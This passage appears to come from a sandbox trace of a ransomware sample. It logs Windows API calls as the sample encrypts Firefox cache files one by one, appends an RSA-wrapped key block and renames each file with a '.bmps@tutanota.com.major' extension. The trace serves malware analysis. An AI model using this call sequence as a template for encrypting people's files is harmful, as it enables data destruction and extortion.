lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.776] CloseHandle (hObject=0x1b84) returned 1 [0257.776] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B597DA2E9B2D181DF7F2FB8D2BAEC133C8DBA0A3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b597da2e9b2d181df7f2fb8d2baec133c8dba0a3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B597DA2E9B2D181DF7F2FB8D2BAEC133C8DBA0A3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b597da2e9b2d181df7f2fb8d2baec133c8dba0a3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0257.777] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.777] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B41962C0CA561119A4EA3BEC5778FEDAC860470B", dwFileAttributes=0x80) returned 1 [0257.778] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0257.920] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.920] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0257.921] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x528 [0257.921] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.921] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.921] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.921] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.921] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.922] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="B8mELpzb7i4c58xheupeDgsRGBBiUlHsufS7Q+UIOs7GMu3VVOTez8PP0qPss+uN\neXon0jcW9Z45D/46Owu1aF55lNNFWt/sPjBGQdCSW6rVPbI/LKOFI9Ui9TakrHcQ\nQQ7M8fjN6IT24Eya9+O3OfMIiO1AuKv26UISLB3Ip28oMgwPWoO2IdhpYj9bOTRO\nN+0/7dR+W8do0WulKcXJj+IEfo8sQ6RDh38KKCe+z24brEq2cqLP2539s/aSzZYw\nTukZFjczq7xFytVB2d/NWkyHMMsuSml2Qm11rZ1IMqjG5/8FEBpnL5AY2WeWkLFB\nC0uBkZ/p1UUixXYAZLYLCQ==\n", pcchString=0x2e3f9a8) returned 1 [0257.922] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.922] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.922] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.922] CloseHandle (hObject=0x1b84) returned 1 [0257.922] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B41962C0CA561119A4EA3BEC5778FEDAC860470B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b41962c0ca561119a4ea3bec5778fedac860470b"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B41962C0CA561119A4EA3BEC5778FEDAC860470B.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b41962c0ca561119a4ea3bec5778fedac860470b.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0257.924] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.924] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B40A829DAB29DF38C5DB78D6A2ECE11DDDB3B710", dwFileAttributes=0x80) returned 1 [0257.924] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xa0b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xa0b, lpOverlapped=0x0) returned 1 [0257.941] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2571, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.941] WriteFile (in: hFile=0x1b84, lpBuffer=0x344aa68*, nNumberOfBytesToWrite=0xa0b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344aa68*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa0b, lpOverlapped=0x0) returned 1 [0257.941] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa0b [0257.941] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.941] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.942] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.942] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.942] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.942] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="e8fK5irEH2UpbBd4w7I6ehz7PEsHj+jUIRiMmg2MG9dROMCCwxI/nfLn8ZQF32Mw\nJtjqlCdtgNA7fhvCiOLuoyD5QFMjAEVn9lgUPZYVLbHkQji1amuMmSWV+4yvkyJi\nR8MbEjYT1p54oEG7gtxdeWIdjUkj206DGbs52NR8Ri5LOZdVbeuCf5ybB4RaOllO\nf01uQKrM3eKxDvm/AU567Oa2O6mlXqv3+nV+z0qzy75Sr43xcqulNvTiem0tWQ4+\n21lfphXhzZxu7S3uPl1lcL9+AlKU1mzUY9O/+xCViy1kEMLCMB02aodbXwoUOhk7\no5xi4cVmBipONl1cBCfHKw==\n", pcchString=0x2e3f9a8) returned 1 [0257.942] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.942] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.943] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.943] CloseHandle (hObject=0x1b84) returned 1 [0257.943] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B40A829DAB29DF38C5DB78D6A2ECE11DDDB3B710" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b40a829dab29df38c5db78d6a2ece11dddb3b710"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B40A829DAB29DF38C5DB78D6A2ECE11DDDB3B710.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b40a829dab29df38c5db78d6a2ece11dddb3b710.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0257.945] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.945] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B34EF52333F13C92B035E4DA7E00EE58A80645F0", dwFileAttributes=0x80) returned 1 [0257.945] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xca5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xca5, lpOverlapped=0x0) returned 1 [0257.994] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3237, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.994] WriteFile (in: hFile=0x1b84, lpBuffer=0x344ad00*, nNumberOfBytesToWrite=0xca5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344ad00*, lpNumberOfBytesWritten=0x2e3f9b4*=0xca5, lpOverlapped=0x0) returned 1 [0257.995] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xca5 [0257.995] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.995] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.996] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.996] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.996] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.996] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lJp+kM/76gRH/S1JnWybKgYR9KyftdWuJqbLqpJUsTH346cG9ZZr+VpXge+JKDR1\nMC5StmTEik7OW0LfCLje3OhycUnmgFFN24UiPJyT2wBGS4WJF2f6PqxW0MliMhXi\nrHWUxNCFW3LdjiTXNi7tuvzsLWw7D/MJus/FiZV9/wOIlawqh/7aC6l8PtnKKycf\nyHquVhLsyd1VUHVBaOfoWGTid/ARTvL3PXnJenQ6YjHPhyC9Wi3ARaeoSitZ1kIs\n10yRJ9Lz+sfW4x10jwNkJIP43NrXRJJ/7GON3qtuBf5w6/ekUit0A68U4aWmpqNU\n8uXxNN+7q1skMp9dPAhnWA==\n", pcchString=0x2e3f9a8) returned 1 [0257.996] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.996] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.996] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.996] CloseHandle (hObject=0x1b84) returned 1 [0257.997] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B34EF52333F13C92B035E4DA7E00EE58A80645F0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b34ef52333f13c92b035e4da7e00ee58a80645f0"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B34EF52333F13C92B035E4DA7E00EE58A80645F0.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b34ef52333f13c92b035e4da7e00ee58a80645f0.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0257.998] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.998] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B32C5865A88F2CD8FDBF2030BCB0763B059A1088", dwFileAttributes=0x80) returned 1 [0257.999] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x82aa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x82aa, lpOverlapped=0x0) returned 1 [0258.026] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-33450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.026] WriteFile (in: hFile=0x1b84, lpBuffer=0x3452308*, nNumberOfBytesToWrite=0x82aa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3452308*, lpNumberOfBytesWritten=0x2e3f9b4*=0x82aa, lpOverlapped=0x0) returned 1 [0258.027] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x82aa [0258.027] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.027] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.027] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.027] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.027] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.027] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="PZyJ8PLlQ0/g+bSznG0KO+nYCCehjx5lf3xaQoqpZKtgMQ54R3ZT1ROQ6pga/9p4\nCKxeNbIy56ljPHfCFhpJghbI1aBs7/bFaasyOWV7j92B3gkdE052NRBwy65tLWJY\nPx81wIefzAG2AMMRlhM/wSDtBXEsaKQFpxrXwXy5FsBLz2RGv/G6iz2B3UQGka+p\nzAuP3PKJ6zhfeCL7WdRvxqMJGLyfnNsT6Py9C2Ye823PgBZslljUT1mOeTIsCCR1\n+N8Y6Mrxw+niErVAMA2YqGbPsyeT0w2VJF8keYnEdFifPhN71dRaeyuzDubf3Aiv\ndH6c2YvPhGwnMxjRe4BXHA==\n", pcchString=0x2e3f9a8) returned 1 [0258.028] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.028] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.028] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.028] CloseHandle (hObject=0x1b84) returned 1 [0258.028] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B32C5865A88F2CD8FDBF2030BCB0763B059A1088" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b32c5865a88f2cd8fdbf2030bcb0763b059a1088"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B32C5865A88F2CD8FDBF2030BCB0763B059A1088.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b32c5865a88f2cd8fdbf2030bcb0763b059a1088.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.030] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.030] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B30BB2F41B97EAD59E6857ADBBEC88367C164EA9", dwFileAttributes=0x80) returned 1 [0258.030] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xefa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xefa, lpOverlapped=0x0) returned 1 [0258.058] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.058] WriteFile (in: hFile=0x1b84, lpBuffer=0x344af58*, nNumberOfBytesToWrite=0xefa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344af58*, lpNumberOfBytesWritten=0x2e3f9b4*=0xefa, lpOverlapped=0x0) returned 1 [0258.058] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xefa [0258.058] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.058] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.059] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.059] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.059] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.059] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="b1FP93D90eRFzzEaJJ65GOCA/LzdmH0/cCxt89c4C0n71cd1m0zVcXJNGAgBQ+F7\nnHm7SxfYn7dW0JO8zmAtjde2jofyhom1irpXT9cYYUqKRg5fYlkmxhgsR8ANlI7r\nFkEH1AHsGjLYDzj2wtQpIbOd/qDANO5+BdNuj6xEWBYBzHXicqoFdCxVx+xwvqi/\n84xl5IiDG6/czutkVCoE2vgWQHX6YxuzyZmnensUTiOAFTA20Mlolu2Iv+e4zZyA\nQ8gqAA/snE+ogAirxu+OzsX/pngeNVavBumJp4cp557DdKAopN5+0dMEeI0Xt0ct\nJoT0zp/m7CvumQnaFvbAjw==\n", pcchString=0x2e3f9a8) returned 1 [0258.059] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.060] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.060] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.060] CloseHandle (hObject=0x1b84) returned 1 [0258.060] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B30BB2F41B97EAD59E6857ADBBEC88367C164EA9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b30bb2f41b97ead59e6857adbbec88367c164ea9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B30BB2F41B97EAD59E6857ADBBEC88367C164EA9.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b30bb2f41b97ead59e6857adbbec88367c164ea9.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.063] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.063] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B2C9D611FEE55171F4DC8FD4FC38E543CE2887C1", dwFileAttributes=0x80) returned 1 [0258.064] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x10fe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x10fe, lpOverlapped=0x0) returned 1 [0258.065] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.065] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b158*, nNumberOfBytesToWrite=0x10fe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b158*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10fe, lpOverlapped=0x0) returned 1 [0258.065] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10fe [0258.065] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.065] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.066] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.066] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.066] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.066] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 